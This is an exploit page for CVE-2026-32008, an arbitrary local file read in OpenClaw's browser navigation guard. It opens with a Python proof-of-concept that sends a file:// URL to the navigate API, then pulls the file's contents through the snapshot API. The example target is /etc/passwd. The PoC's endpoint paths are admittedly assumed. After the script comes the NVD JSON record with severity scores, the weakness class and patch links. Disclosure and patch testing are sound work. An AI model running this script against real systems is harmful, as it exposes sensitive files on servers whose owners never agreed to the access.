CVE-2026-32008

# PoC for CVE-2026-32008: OpenClaw Arbitrary Local File Read # This script demonstrates exploiting the improper URL scheme validation # to read local files via the browser-tool interface. import requests TARGET_URL = "http://target-openclaw-instance" API_KEY = "YOUR_AUTHENTICATED_API_KEY" # Requires PR:L (Low Privilege) access def exploit_local_file_read(file_path): # Step 1: Construct the malicious file:// URL # The vulnerability allows navigating to local files malicious_url = f"file://{file_path}" # Step 2: Use the browser-tool API to navigate to the local file # Endpoint assumes a generic structure based on the vulnerability description navigate_endpoint = f"{TARGET_URL}/api/browser/navigate" headers = {"Authorization": f"Bearer {API_KEY}"} payload = {"url": malicious_url} # Send navigation request # The assertBrowserNavigationAllowed() function fails to block 'file://' response = requests.post(navigate_endpoint, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Successfully navigated to {malicious_url}") # Step 3: Take a snapshot to extract the file content snapshot_endpoint = f"{TARGET_URL}/api/browser/snapshot" snap_response = requests.get(snapshot_endpoint, headers=headers) if snap_response.status_code == 200: print("[+] Snapshot taken. File content extracted:") print(snap_response.text) else: print("[-] Failed to take snapshot.") else: print("[-] Navigation failed.") if __name__ == "__main__": # Example: Read /etc/passwd exploit_local_file_read("/etc/passwd")

{"cve": {"id": "CVE-2026-32008", "sourceIdentifier": "[email protected]", "published": "2026-03-19T22:16:33.577", "lastModified": "2026-03-23T17:34:08.087", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw versions prior to 2026.2.21 contain an improper URL scheme validation vulnerability in the assertBrowserNavigationAllowed() function that allows authenticated users with browser-tool access to navigate to file:// URLs. Attackers can exploit this by accessing local files readable by the OpenClaw process user through browser snapshot and extraction actions to exfiltrate sensitive data."}, {"lang": "es", "value": "Las versiones de OpenClaw anteriores a la 2026.2.21 contienen una vulnerabilidad de validación de esquema de URL incorrecta en la función assertBrowserNavigationAllowed() que permite a los usuarios autenticados con acceso a la herramienta del navegador navegar a URLs de tipo file://. Los atacantes pueden explotar esto accediendo a archivos locales legibles por el usuario del proceso de OpenClaw a través de acciones de captura y extracción del navegador para exfiltrar datos sensibles."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-610"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.2.21", "matchCriteriaId": "09CAA52D-0C33-41B4-854A-338CBFC45513"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/220bd95eff6838234e8b4b711f86d4565e16e401", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-45cg-2683-gfmq", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-arbitrary-local-file-read-via-browser-navigation-guard", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-45cg-2683-gfmq", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}